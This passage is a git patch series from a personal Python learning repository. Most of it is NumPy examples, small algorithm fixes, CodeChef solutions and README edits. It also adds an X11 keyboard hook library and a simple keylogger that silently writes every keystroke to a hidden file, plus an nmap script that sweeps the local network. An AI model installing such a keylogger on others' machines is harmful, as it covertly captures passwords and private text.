 1. -0.] From 098115fb0b80f5d86cbba41cd80fb96c9b67c8c7 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Tue, 25 Jul 2017 07:08:59 +0530 Subject: [PATCH 050/101] Updated README --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index a1deb5b0..d19d4a80 100644 --- a/README.md +++ b/README.md @@ -105,6 +105,8 @@ Pune, Maharashtra, India.
3. [Numpy Array Attributes](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P03_NumpyAttributes.py) 4. [Generate Numpy array from various numerical ranges](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P04_ArrayFromNumericalRange.py) 5. [Numpy Array Manipulation operations](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P05_NumpyArrayManipulation.py) +6. [Numpy String Functions](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P06_NumpyStringFunctions.py) + ## Mini Projects * [Address Book](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P61_AddressBook.py) From 2db1421dba584712638024c93fb5090c89b28819 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Tue, 25 Jul 2017 07:09:30 +0530 Subject: [PATCH 051/101] Updated README --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index d19d4a80..92c4713a 100644 --- a/README.md +++ b/README.md @@ -106,7 +106,7 @@ Pune, Maharashtra, India.
4. [Generate Numpy array from various numerical ranges](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P04_ArrayFromNumericalRange.py) 5. [Numpy Array Manipulation operations](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P05_NumpyArrayManipulation.py) 6. [Numpy String Functions](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P06_NumpyStringFunctions.py) - +7. [Numpy Mathematical Functions](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P07_NumpyMathematicalFunctions.py) ## Mini Projects * [Address Book](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P61_AddressBook.py) From 0d17ff3ecc8bee8f002498f83733410cbb0bc77f Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Tue, 25 Jul 2017 07:18:26 +0530 Subject: [PATCH 052/101] Pyxhook.py added for mini project --- Programs/pyxhook.py | 358 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 358 insertions(+) create mode 100644 Programs/pyxhook.py diff --git a/Programs/pyxhook.py b/Programs/pyxhook.py new file mode 100644 index 00000000..4d5880d7 --- /dev/null +++ b/Programs/pyxhook.py @@ -0,0 +1,358 @@ +#!/usr/bin/python +# +# pyxhook -- an extension to emulate some of the PyHook library on linux. +# +# Copyright (C) 2008 Tim Alexander +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +# +# Thanks to Alex Badea for writing the Record +# demo for the xlib libraries. It helped me immensely working with these +# in this library. +# +# Thanks to the python-xlib team. This wouldn't have been possible without +# your code. +# +# This requires: +# at least python-xlib 1.4 +# xwindows must have the "record" extension present, and active. +# +# This file has now been somewhat extensively modified by +# Daniel Folkinshteyn +# So if there are any bugs, they are probably my fault. :) + +import sys +import os +import re +import time +import threading + +from Xlib import X, XK, display, error +from Xlib.ext import record +from Xlib.protocol import rq + +####################################################################### +########################START CLASS DEF################################ +####################################################################### + +class HookManager(threading.Thread): + """This is the main class. Instantiate it, and you can hand it KeyDown and KeyUp (functions in your own code) which execute to parse the pyxhookkeyevent class that is returned. + + This simply takes these two values for now: + KeyDown = The function to execute when a key is pressed, if it returns anything. It hands the function an argument that is the pyxhookkeyevent class. + KeyUp = The function to execute when a key is released, if it returns anything. It hands the function an argument that is the pyxhookkeyevent class. + """ + + def __init__(self): + threading.Thread.__init__(self) + self.finished = threading.Event() + + # Give these some initial values + self.mouse_position_x = 0 + self.mouse_position_y = 0 + self.ison = {"shift":False, "caps":False} + + # Compile our regex statements. + self.isshift = re.compile('^Shift') + self.iscaps = re.compile('^Caps_Lock') + self.shiftablechar = re.compile('^[a-z0-9]$|^minus$|^equal$|^bracketleft$|^bracketright$|^semicolon$|^backslash$|^apostrophe$|^comma$|^period$|^slash$|^grave$') + self.logrelease = re.compile('.*') + self.isspace = re.compile('^space$') + + # Assign default function actions (do nothing). + self.KeyDown = lambda x: True + self.KeyUp = lambda x: True + self.MouseAllButtonsDown = lambda x: True + self.MouseAllButtonsUp = lambda x: True + + self.contextEventMask = [X.KeyPress,X.MotionNotify] + + # Hook to our display. + self.local_dpy = display.Display() + self.record_dpy = display.Display() + + def run(self): + # Check if the extension is present + if not self.record_dpy.has_extension("RECORD"): + print ("RECORD extension not found") + sys.exit(1) + r = self.record_dpy.record_get_version(0, 0) + print ("RECORD extension version %d.%d" % (r.major_version, r.minor_version)) + + # Create a recording context; we only want key and mouse events + self.ctx = self.record_dpy.record_create_context( + 0, + [record.AllClients], + [{ + 'core_requests': (0, 0), + 'core_replies': (0, 0), + 'ext_requests': (0, 0, 0, 0), + 'ext_replies': (0, 0, 0, 0), + 'delivered_events': (0, 0), + 'device_events': tuple(self.contextEventMask), #(X.KeyPress, X.ButtonPress), + 'errors': (0, 0), + 'client_started': False, + 'client_died': False, + }]) + + # Enable the context; this only returns after a call to record_disable_context, + # while calling the callback function in the meantime + self.record_dpy.record_enable_context(self.ctx, self.processevents) + # Finally free the context + self.record_dpy.record_free_context(self.ctx) + + def cancel(self): + self.finished.set() + self.local_dpy.record_disable_context(self.ctx) + self.local_dpy.flush() + + def printevent(self, event): + print (event) + + def HookKeyboard(self): + pass + # We don't need to do anything here anymore, since the default mask + # is now set to contain X.KeyPress + #self.contextEventMask[0] = X.KeyPress + + def HookMouse(self): + pass + # We don't need to do anything here anymore, since the default mask + # is now set to contain X.MotionNotify + + # need mouse motion to track pointer position, since ButtonPress events + # don't carry that info. + #self.contextEventMask[1] = X.MotionNotify + + def processevents(self, reply): + if reply.category != record.FromServer: + return + if reply.client_swapped: + print ("* received swapped protocol data, cowardly ignored") + return + if not len(reply.data) or reply.data[0] < 2: + # not an event + return + data = reply.data + while len(data): + event, data = rq.EventField(None).parse_binary_value(data, self.record_dpy.display, None, None) + if event.type == X.KeyPress: + hookevent = self.keypressevent(event) + self.KeyDown(hookevent) + elif event.type == X.KeyRelease: + hookevent = self.keyreleaseevent(event) + self.KeyUp(hookevent) + elif event.type == X.ButtonPress: + hookevent = self.buttonpressevent(event) + self.MouseAllButtonsDown(hookevent) + elif event.type == X.ButtonRelease: + hookevent = self.buttonreleaseevent(event) + self.MouseAllButtonsUp(hookevent) + elif event.type == X.MotionNotify: + # use mouse moves to record mouse position, since press and release events + # do not give mouse position info (event.root_x and event.root_y have + # bogus info). + self.mousemoveevent(event) + + #print "processing events...", event.type + + def keypressevent(self, event): + matchto = self.lookup_keysym(self.local_dpy.keycode_to_keysym(event.detail, 0)) + if self.shiftablechar.match(self.lookup_keysym(self.local_dpy.keycode_to_keysym(event.detail, 0))): ## This is a character that can be typed. + if self.ison["shift"] == False: + keysym = self.local_dpy.keycode_to_keysym(event.detail, 0) + return self.makekeyhookevent(keysym, event) + else: + keysym = self.local_dpy.keycode_to_keysym(event.detail, 1) + return self.makekeyhookevent(keysym, event) + else: ## Not a typable character. + keysym = self.local_dpy.keycode_to_keysym(event.detail, 0) + if self.isshift.match(matchto): + self.ison["shift"] = self.ison["shift"] + 1 + elif self.iscaps.match(matchto): + if self.ison["caps"] == False: + self.ison["shift"] = self.ison["shift"] + 1 + self.ison["caps"] = True + if self.ison["caps"] == True: + self.ison["shift"] = self.ison["shift"] - 1 + self.ison["caps"] = False + return self.makekeyhookevent(keysym, event) + + def keyreleaseevent(self, event): + if self.shiftablechar.match(self.lookup_keysym(self.local_dpy.keycode_to_keysym(event.detail, 0))): + if self.ison["shift"] == False: + keysym = self.local_dpy.keycode_to_keysym(event.detail, 0) + else: + keysym = self.local_dpy.keycode_to_keysym(event.detail, 1) + else: + keysym = self.local_dpy.keycode_to_keysym(event.detail, 0) + matchto = self.lookup_keysym(keysym) + if self.isshift.match(matchto): + self.ison["shift"] = self.ison["shift"] - 1 + return self.makekeyhookevent(keysym, event) + + def buttonpressevent(self, event): + #self.clickx = self.rootx + #self.clicky = self.rooty + return self.makemousehookevent(event) + + def buttonreleaseevent(self, event): + #if (self.clickx == self.rootx) and (self.clicky == self.rooty): + ##print "ButtonClick " + str(event.detail) + " x=" + str(self.rootx) + " y=" + str(self.rooty) + #if (event.detail == 1) or (event.detail == 2) or (event.detail == 3): + #self.captureclick() + #else: + #pass + + return self.makemousehookevent(event) + + # sys.stdout.write("ButtonDown " + str(event.detail) + " x=" + str(self.clickx) + " y=" + str(self.clicky) + "\n") + # sys.stdout.write("ButtonUp " + str(event.detail) + " x=" + str(self.rootx) + " y=" + str(self.rooty) + "\n") + #sys.stdout.flush() + + def mousemoveevent(self, event): + self.mouse_position_x = event.root_x + self.mouse_position_y = event.root_y + + # need the following because XK.keysym_to_string() only does printable chars + # rather than being the correct inverse of XK.string_to_keysym() + def lookup_keysym(self, keysym): + for name in dir(XK): + if name.startswith("XK_") and getattr(XK, name) == keysym: + return name.lstrip("XK_") + return "[%d]" % keysym + + def asciivalue(self, keysym): + asciinum = XK.string_to_keysym(self.lookup_keysym(keysym)) + if asciinum < 256: + return asciinum + else: + return 0 + + def makekeyhookevent(self, keysym, event): + storewm = self.xwindowinfo() + if event.type == X.KeyPress: + MessageName = "key down" + elif event.type == X.KeyRelease: + MessageName = "key up" + return pyxhookkeyevent(storewm["handle"], storewm["name"], storewm["class"], self.lookup_keysym(keysym), self.asciivalue(keysym), False, event.detail, MessageName) + + def makemousehookevent(self, event): + storewm = self.xwindowinfo() + if event.detail == 1: + MessageName = "mouse left " + elif event.detail == 3: + MessageName = "mouse right " + elif event.detail == 2: + MessageName = "mouse middle " + elif event.detail == 5: + MessageName = "mouse wheel down " + elif event.detail == 4: + MessageName = "mouse wheel up " + else: + MessageName = "mouse " + str(event.detail) + " " + + if event.type == X.ButtonPress: + MessageName = MessageName + "down" + elif event.type == X.ButtonRelease: + MessageName = MessageName + "up" + return pyxhookmouseevent(storewm["handle"], storewm["name"], storewm["class"], (self.mouse_position_x, self.mouse_position_y), MessageName) + + def xwindowinfo(self): + try: + windowvar = self.local_dpy.get_input_focus().focus + wmname = windowvar.get_wm_name() + wmclass = windowvar.get_wm_class() + wmhandle = str(windowvar)[20:30] + except: + ## This is to keep things running smoothly. It almost never happens, but still... + return {"name":None, "class":None, "handle":None} + if (wmname == None) and (wmclass == None): + try: + windowvar = windowvar.query_tree().parent + wmname = windowvar.get_wm_name() + wmclass = windowvar.get_wm_class() + wmhandle = str(windowvar)[20:30] + except: + ## This is to keep things running smoothly. It almost never happens, but still... + return {"name":None, "class":None, "handle":None} + if wmclass == None: + return {"name":wmname, "class":wmclass, "handle":wmhandle} + else: + return {"name":wmname, "class":wmclass[0], "handle":wmhandle} + +class pyxhookkeyevent: + """This is the class that is returned with each key event.f + It simply creates the variables below in the class. + + Window = The handle of the window. + WindowName = The name of the window. + WindowProcName = The backend process for the window. + Key = The key pressed, shifted to the correct caps value. + Ascii = An ascii representation of the key. It returns 0 if the ascii value is not between 31 and 256. + KeyID = This is just False for now. Under windows, it is the Virtual Key Code, but that's a windows-only thing. + ScanCode = Please don't use this. It differs for pretty much every type of keyboard. X11 abstracts this information anyway. + MessageName = "key down", "key up". + """ + + def __init__(self, Window, WindowName, WindowProcName, Key, Ascii, KeyID, ScanCode, MessageName): + self.Window = Window + self.WindowName = WindowName + self.WindowProcName = WindowProcName + self.Key = Key + self.Ascii = Ascii + self.KeyID = KeyID + self.ScanCode = ScanCode + self.MessageName = MessageName + + def __str__(self): + return "Window Handle: " + str(self.Window) + "\nWindow Name: " + str(self.WindowName) + "\nWindow's Process Name: " + str(self.WindowProcName) + "\nKey Pressed: " + str(self.Key) + "\nAscii Value: " + str(self.Ascii) + "\nKeyID: " + str(self.KeyID) + "\nScanCode: " + str(self.ScanCode) + "\nMessageName: " + str(self.MessageName) + "\n" + +class pyxhookmouseevent: + """This is the class that is returned with each key event.f + It simply creates the variables below in the class. + + Window = The handle of the window. + WindowName = The name of the window. + WindowProcName = The backend process for the window. + Position = 2-tuple (x,y) coordinates of the mouse click + MessageName = "mouse left|right|middle down", "mouse left|right|middle up". + """ + + def __init__(self, Window, WindowName, WindowProcName, Position, MessageName): + self.Window = Window + self.WindowName = WindowName + self.WindowProcName = WindowProcName + self.Position = Position + self.MessageName = MessageName + + def __str__(self): + return "Window Handle: " + str(self.Window) + "\nWindow Name: " + str(self.WindowName) + "\nWindow's Process Name: " + str(self.WindowProcName) + "\nPosition: " + str(self.Position) + "\nMessageName: " + str(self.MessageName) + "\n" + +####################################################################### +#########################END CLASS DEF################################# +####################################################################### + +if __name__ == '__main__': + hm = HookManager() + hm.HookKeyboard() + hm.HookMouse() + hm.KeyDown = hm.printevent + hm.KeyUp = hm.printevent + hm.MouseAllButtonsDown = hm.printevent + hm.MouseAllButtonsUp = hm.printevent + hm.start() + time.sleep(10) + hm.cancel() \ No newline at end of file From 5c86720d790ece6df3ffa0dd59ec3e7e33e3afba Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Tue, 25 Jul 2017 07:19:03 +0530 Subject: [PATCH 053/101] Simple Python Keylogger --- Programs/P79_SimplePythonKeylogger.py | 45 +++++++++++++++++++++++++++ 1 file changed, 45 insertions(+) create mode 100644 Programs/P79_SimplePythonKeylogger.py diff --git a/Programs/P79_SimplePythonKeylogger.py b/Programs/P79_SimplePythonKeylogger.py new file mode 100644 index 00000000..91b637dd --- /dev/null +++ b/Programs/P79_SimplePythonKeylogger.py @@ -0,0 +1,45 @@ +# Author: OMKAR PATHAK + +import pyxhook +import time + +# functions to write a newline character into the file +def newline(): + file = open('.keylogger', 'a') + file.write('\n') + file.close() + +# This function is called every time a key is pressed +def key_press_event(event): + global running + # write the key pressed into a file + if event.Key != 'space' and event.Key != 'Escape': + with open('.keylogger', 'a+') as File: + File.write(event.Key) + + # If the ascii value matches spacebar, add a newline in the file + if event.Key == 'space': + newline() + + # If the ascii value matches escape, terminate the while loop + if event.Key == 'Escape': + running = False + newline() + +if __name__ == '__main__': + # Create hookmanager + hookman = pyxhook.HookManager() + # Define our callback to fire when a key is pressed down + hookman.KeyDown = key_press_event + # Hook the keyboard + hookman.HookKeyboard() + # Start our listener + hookman.start() + + # Create a loop to keep the application running + running = True + while running: + time.sleep(0.1) + + # Close the listener when we are done + hookman.cancel() From 1a0a8643e0781a0455704a6011240dfc6ed8a65c Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Tue, 25 Jul 2017 07:21:33 +0530 Subject: [PATCH 054/101] Updated README --- Programs/.keylogger | 8 ++++++++ README.md | 1 + 2 files changed, 9 insertions(+) create mode 100644 Programs/.keylogger diff --git a/Programs/.keylogger b/Programs/.keylogger new file mode 100644 index 00000000..64b0be4b --- /dev/null +++ b/Programs/.keylogger @@ -0,0 +1,8 @@ +Shift_LOkar +Shift_LPathak +Shift_L H e l l o +t h e r e +Shift_L I +a m +Shift_L O m k a r +Shift_L P a t h a k diff --git a/README.md b/README.md index 92c4713a..ad22e99e 100644 --- a/README.md +++ b/README.md @@ -111,6 +111,7 @@ Pune, Maharashtra, India.
## Mini Projects * [Address Book](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P61_AddressBook.py) With Add, Modify, Search. +* [Simple Python Keylogger](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P79_SimplePythonKeylogger.py) ## Random Python Programs From 7634ad5968fc86a28e0a69ee8742de534b78a328 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Wed, 26 Jul 2017 07:14:05 +0530 Subject: [PATCH 055/101] Simple Python Keylogger --- Programs/P79_SimplePythonKeylogger.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/Programs/P79_SimplePythonKeylogger.py b/Programs/P79_SimplePythonKeylogger.py index 91b637dd..ff085734 100644 --- a/Programs/P79_SimplePythonKeylogger.py +++ b/Programs/P79_SimplePythonKeylogger.py @@ -1,5 +1,9 @@ # Author: OMKAR PATHAK +# This file requires two modules to be installed: +# 1. pyxhook.py: file is provided in the folder itself +# 2. Xlib: sudo pip3 install python3-Xlib + import pyxhook import time From 5e02d9c1820b92597966997c940b2e29f90d1eec Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Wed, 26 Jul 2017 07:14:33 +0530 Subject: [PATCH 056/101] Numpy Arithmetic Operations.py --- Numpy/P08_NumpyArithmeticOperations.py | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 Numpy/P08_NumpyArithmeticOperations.py diff --git a/Numpy/P08_NumpyArithmeticOperations.py b/Numpy/P08_NumpyArithmeticOperations.py new file mode 100644 index 00000000..4c74718f --- /dev/null +++ b/Numpy/P08_NumpyArithmeticOperations.py @@ -0,0 +1,25 @@ +# Author: OMKAR PATHAK + +import numpy as np + +firstArray = np.arange(12).reshape(3, 4) +print(firstArray) + +secondArray = np.arange(4) +print(secondArray) + +# adding above two arrays (NOTE: array shapes should be same) +print(np.add(firstArray, secondArray)) + +# subtracting above two arrays +print(np.subtract(firstArray, secondArray)) + +# multiplying above two arrays +print(np.multiply(firstArray, secondArray)) + +# dividing the above two arrays +print(np.divide(firstArray, secondArray)) + +# numpy.power(): returns array element raised to the specified value result +array = np.array([1, 2, 3]) +print(np.power(array, 2)) # [1 4 9] From 66c1e60e4ba95062089150f332cf2dbc71314ca6 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Wed, 26 Jul 2017 07:15:43 +0530 Subject: [PATCH 057/101] Updated README --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index ad22e99e..79dba692 100644 --- a/README.md +++ b/README.md @@ -107,6 +107,7 @@ Pune, Maharashtra, India.
5. [Numpy Array Manipulation operations](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P05_NumpyArrayManipulation.py) 6. [Numpy String Functions](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P06_NumpyStringFunctions.py) 7. [Numpy Mathematical Functions](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P07_NumpyMathematicalFunctions.py) +8. [Numpy Arithmetical Operations](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P08_NumpyArithmeticOperations.py) ## Mini Projects * [Address Book](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P61_AddressBook.py) From 1096c95dc2365dc03322afda9e0595e8ea9c9330 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Wed, 26 Jul 2017 07:15:59 +0530 Subject: [PATCH 058/101] Added gitignore for pycache --- .gitignore | 1 + 1 file changed, 1 insertion(+) create mode 100644 .gitignore diff --git a/.gitignore b/.gitignore new file mode 100644 index 00000000..bee8a64b --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +__pycache__ From a9755bd0b2bdb41573f509df1fa3f8db2cfd5e28 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Fri, 28 Jul 2017 07:12:59 +0530 Subject: [PATCH 059/101] Bug fixes --- Programs/P07_PrimeNumber.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/Programs/P07_PrimeNumber.py b/Programs/P07_PrimeNumber.py index e4ba9bff..485de603 100644 --- a/Programs/P07_PrimeNumber.py +++ b/Programs/P07_PrimeNumber.py @@ -3,18 +3,20 @@ def checkPrime(number): '''This function checks for prime number''' + isPrime = False if number == 2: print(number, 'is a Prime Number') if number > 1: for i in range(2, number): if number % i == 0: print(number, 'is not a Prime Number') + isPrime = False break else: - print(number, 'is a Prime Number') - break - else: - print(number, 'is not a Prime Number') + isPrime = True + + if isPrime: + print(number, 'is a Prime Number') if __name__ == '__main__': userInput = int(input('Enter a number to check: ')) From aa3bd48c2853ffe5e828160514706a5f703f0cb6 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Sun, 30 Jul 2017 07:38:38 +0530 Subject: [PATCH 060/101] Added iterative approach --- Programs/P08_Fibonacci.py | 29 +++++++---------------------- 1 file changed, 7 insertions(+), 22 deletions(-) diff --git a/Programs/P08_Fibonacci.py b/Programs/P08_Fibonacci.py index 64b0afeb..67133a1b 100644 --- a/Programs/P08_Fibonacci.py +++ b/Programs/P08_Fibonacci.py @@ -8,27 +8,12 @@ def fibonacci(number): else: return (fibonacci(number - 1) + fibonacci(number - 2)) -def fibonacciFor(number): - '''This function calculates the fibonacci series for n-th term using loop''' - # first two terms - n1 = 0 - n2 = 1 - count = 2 - if number <= 0: - print("Please enter a positive integer") - elif number == 1: - print("Fibonacci sequence upto ",number,":") - print(n1) - else: - print("Fibonacci sequence upto ",number,":") - print(n1,n2,end=' ') - while count <= number: - nth = n1 + n2 - print(nth,end=' ') - # update values - n1 = n2 - n2 = nth - count += 1 +def fibonacci_without_recursion(number): + if number == 0: return 0 + fibonacci0, fibonacci1 = 0, 1 + for i in range(2, number + 1): + fibonacci1, fibonacci0 = fibonacci0 + fibonacci1, fibonacci1 + return fibonacci1 if __name__ == '__main__': userInput = int(input('Enter the number upto which you wish to calculate fibonnaci series: ')) @@ -36,4 +21,4 @@ def fibonacciFor(number): print(fibonacci(i),end=' ') print("\nUsing LOOP:") - fibonacciFor(userInput) + print(fibonacci_without_recursion(userInput)) From 1c02f15a27e249efdea8bec46b1275f0e7e9dc33 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Sun, 30 Jul 2017 07:38:47 +0530 Subject: [PATCH 061/101] Added iterative approach --- Programs/P09_Factorial.py | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/Programs/P09_Factorial.py b/Programs/P09_Factorial.py index e9698b11..37b8dbc6 100644 --- a/Programs/P09_Factorial.py +++ b/Programs/P09_Factorial.py @@ -8,6 +8,15 @@ def factorial(number): else: return number * factorial(number - 1) +def factorial_without_recursion(number): + fact = 1 + while(number > 0): + fact = fact * number + number = number - 1 + print('Factorial of', number,'is: ') + print(fact) + if __name__ == '__main__': userInput = int(input('Enter the number to find its factorial: ')) - print('Factorial of',userInput,'is:',factorial(userInput)) + print('Factorial of', userInput, 'is:', factorial(userInput)) + factorial_without_recursion(userInput) From 8e18e28056881ce472906ed1f6de9b4eb43b1a49 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Sun, 30 Jul 2017 07:38:58 +0530 Subject: [PATCH 062/101] Updated README --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 79dba692..e03e7d07 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,7 @@ # Python-Programs +[![GitHub stars](https://img.shields.io/github/stars/OmkarPathak/Python-Programs.svg)](https://github.com/OmkarPathak/Python-Programs/stargazers) +[![Python](https://img.shields.io/badge/Python-3.6-brightgreen.svg)] + This is my collection of Python Programs.
For python tutorials, visit my website:
http://www.omkarpathak.in From 696422734e7a9c130097e8f2e93e9db38654a5e0 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Fri, 4 Aug 2017 06:59:37 +0530 Subject: [PATCH 063/101] Script to find all IPs of devices connected in Network --- ...2_ScriptToFindDevicesConnectedInNetwork.py | 22 +++++++++++++++++++ 1 file changed, 22 insertions(+) create mode 100644 Scripts/P12_ScriptToFindDevicesConnectedInNetwork.py diff --git a/Scripts/P12_ScriptToFindDevicesConnectedInNetwork.py b/Scripts/P12_ScriptToFindDevicesConnectedInNetwork.py new file mode 100644 index 00000000..a46e2152 --- /dev/null +++ b/Scripts/P12_ScriptToFindDevicesConnectedInNetwork.py @@ -0,0 +1,22 @@ +# Author: OMKAR PATHAK + +# This script helps to find the devices (mobiles and computers) connected to my wifi + +# This script needs python-nmap as a pre-requisite. To install: sudo pip3 install python-nmap + +import nmap +import subprocess + +# function to scan network and display IPs of conected devices +def scan_network(): + scanner = nmap.PortScanner() + myIP = subprocess.check_output(['hostname -I'], shell=True) + myIP = str(myIP, 'utf-8').split('.') + print(myIP[:3]) + scannedData = scanner.scan(hosts = '.'.join(myIP[:3]) + '.1/24', arguments = '-sP') + + # printing all the IP addresses of connected devices + for hostnames in scannedData['scan']: + print(hostnames) + +scan_network() From 643d005bcc5e6ef107ec1a1337760ba5a1da1fd9 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Fri, 4 Aug 2017 06:59:47 +0530 Subject: [PATCH 064/101] Updated README --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index e03e7d07..9a98c2a5 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # Python-Programs [![GitHub stars](https://img.shields.io/github/stars/OmkarPathak/Python-Programs.svg)](https://github.com/OmkarPathak/Python-Programs/stargazers) -[![Python](https://img.shields.io/badge/Python-3.6-brightgreen.svg)] +![Python](https://img.shields.io/badge/Python-3.6-brightgreen.svg) This is my collection of Python Programs.
For python tutorials, visit my website:
From 363cfebc941d8c497e626cb4e1a592c1e5a039a1 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Sat, 12 Aug 2017 07:00:51 +0530 Subject: [PATCH 065/101] Updated README --- README.md | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/README.md b/README.md index 9a98c2a5..4f7e945d 100644 --- a/README.md +++ b/README.md @@ -164,3 +164,10 @@ An example of Python Lambda function Encryption/ Decryption using RSA Algorithm * [Python ftplib](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P76_PythonFTP.py) A simple Python FTP file transfer example + +# Donation + +If you have found my softwares to be of any use to you, do consider helping me pay my internet bills. This would encourage me to create many such softwares :) + +| PayPal |
Donate via PayPal! | +| ₹ (INR) | Donate via instamojo | From 4cc4cbda27cc60cb5ff8182cd278eb3d41caec0e Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Sat, 12 Aug 2017 07:02:03 +0530 Subject: [PATCH 066/101] Updated README --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 4f7e945d..ac9a677b 100644 --- a/README.md +++ b/README.md @@ -170,4 +170,5 @@ A simple Python FTP file transfer example If you have found my softwares to be of any use to you, do consider helping me pay my internet bills. This would encourage me to create many such softwares :) | PayPal | Donate via PayPal! | -| ₹ (INR) | Donate via instamojo | +|:-------------------------------------------:|:-------------------------------------------------------------:| +| ₹ (INR) | Donate via Instamojo | From bc7d3346c445344acca91eec425566d1cd49020d Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Mon, 4 Sep 2017 07:14:11 +0530 Subject: [PATCH 067/101] Added Codechef easy problems --- .../CodeChef/P37_NDIFFPAL.py | 57 ++++++++++++++ .../CodeChef/P38_PRINCESS.py | 62 +++++++++++++++ CompetitiveProgramming/CodeChef/P39_ALATE.py | 76 +++++++++++++++++++ 3 files changed, 195 insertions(+) create mode 100644 CompetitiveProgramming/CodeChef/P37_NDIFFPAL.py create mode 100644 CompetitiveProgramming/CodeChef/P38_PRINCESS.py create mode 100644 CompetitiveProgramming/CodeChef/P39_ALATE.py diff --git a/CompetitiveProgramming/CodeChef/P37_NDIFFPAL.py b/CompetitiveProgramming/CodeChef/P37_NDIFFPAL.py new file mode 100644 index 00000000..73510e18 --- /dev/null +++ b/CompetitiveProgramming/CodeChef/P37_NDIFFPAL.py @@ -0,0 +1,57 @@ +# A palindrome is a string that reads same in both directions: forwards and backwards. For example, +# the strings radar and noon are palindromes, whereas the string chef is not a palindrome as being read +# backwards is becomes equal to fehc, which is not equal to chef. +# +# Let's say that the pair of indices (i, j) denotes a palindrome in some string S iff i ≤ j and the +# substring starting at the i-th character and ending at the j-th character of S is a palindrome. +# +# Given an integer N. Your task is to construct a string S such that there are exactly N different +# pairs (i, j) that denotes a palindrome. +# +# Input +# The first line of the input contains an integer T denoting the number of test cases. The description +# of T test cases follows. +# +# The first line of each test case contains a single integer N denoting the sought number of pairs that +# denote palindrome. +# +# Output +# For each test case, output a single line containing a string S, consisting of lowecase Latin letters, +# and having exactly N distinct palindrome-denoting pairs. If there's a few such strings, output any one. +# +# If such string S doesn't exist, output -1 instead of it. +# +# Constraints +# 1 ≤ T ≤ 100 +# 1 ≤ N ≤ 104 +# +# Example +# Input: +# 3 +# 6 +# 7 +# 2 +# +# Output: +# noon +# radar +# ab +# +# Explanation: +# Example case 1. In the string "noon", the pairs that denote a palindrome are (1-indexed): (1, 1), (1, 4), (2, 2), (2, 3), (3, 3), (4, 4). +# +# Example case 2. In the string "radar", the pairs that denote a palindrome are (1-indexed): (1, 1), (1, 5), (2, 2), (2, 4), (3, 3), (4, 4), (5, 5). +# +# Example case 3. In the string "ab", the pairs denoting a palindrome are : (1, 1), (2, 2) + +for _ in range(int(input())): + n = int(input()) + s = 'abcdefghijklmnopqrstuvwxyz' + if (n <= 26): + print(s[:n]) + else: + a = n // 26 + b = n % 26 + c = a * s + c = c + s[:b] + print (c) diff --git a/CompetitiveProgramming/CodeChef/P38_PRINCESS.py b/CompetitiveProgramming/CodeChef/P38_PRINCESS.py new file mode 100644 index 00000000..313a6a58 --- /dev/null +++ b/CompetitiveProgramming/CodeChef/P38_PRINCESS.py @@ -0,0 +1,62 @@ +# We all know that the princess is very beautiful but one day jealous from her beauty, a person asked a +# question from princess in order to check her wisdom. Since 